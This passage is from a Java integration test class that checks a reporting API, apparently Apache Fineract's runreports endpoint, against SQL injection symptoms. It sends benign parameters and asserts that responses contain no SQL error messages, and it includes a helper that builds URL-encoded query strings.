String response = Utils.performServerGet(requestSpec, responseSpec,
"/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME + "?genericResultSet=false&" + toQueryString(queryParams),
null);
// Valid parameters should return data successfully
assertNotNull(response);
// Should not contain SQL error indicators
assertFalse(response.toLowerCase().contains("syntax error"));
assertFalse(response.toLowerCase().contains("sql exception"));
log.debug("Legitimate parameter '{}' = '{}' processed successfully", paramName, paramValue);
} catch (AssertionError e) {
// For legitimate parameters, we should not get errors unless it's a data issue
// But definitely not SQL syntax errors
assertFalse(e.getMessage().toLowerCase().contains("syntax error"),
"Should not get SQL syntax error for legitimate parameter. Got: " + e.getMessage());
assertFalse(e.getMessage().toLowerCase().contains("you have an error in your sql"),
"Should not get SQL error for legitimate parameter. Got: " + e.getMessage());
log.info("Parameter validation for '{}' = '{}': {}", paramName, paramValue, e.getMessage());
}
}
/**
* UC10: Test cross-database compatibility through API
*/
@Test
void uc10_testCrossDatabaseCompatibility() {
log.info("Testing cross-database compatibility for SQL injection prevention through API");
String testInput = "test-input-with-special-chars";
Map<String, String> queryParams = new HashMap<>();
queryParams.put("R_officeId", "1");
try {
Utils.performServerGet(requestSpec, responseSpec, "/fineract-provider/api/v1/runreports/"
+ URLEncoder.encode(testInput, StandardCharsets.UTF_8) + "?genericResultSet=false&" + toQueryString(queryParams), null);
} catch (AssertionError e) {
// Should get 404 (report not found) not database-specific errors
assertTrue(e.getMessage().contains("404"));
assertFalse(e.getMessage().toLowerCase().contains("syntax error"));
assertFalse(e.getMessage().toLowerCase().contains("sql"));
log.info("Cross-database compatibility test passed - got expected 404 response");
}
}
/**
* Helper method to convert parameters map to query string
*/
private String toQueryString(Map<String, String> params) {
StringBuilder sb = new StringBuilder();
for (Map.Entry<String, String> entry : params.entrySet()) {
if (sb.length() > 0) {
sb.append("&");
}
sb.append(entry.getKey()).append("=");
if (entry.getValue() != null) {
sb.append(URLEncoder.encode(entry.getValue(), StandardCharsets.UTF_8));
}
}
return sb.toString();
}
}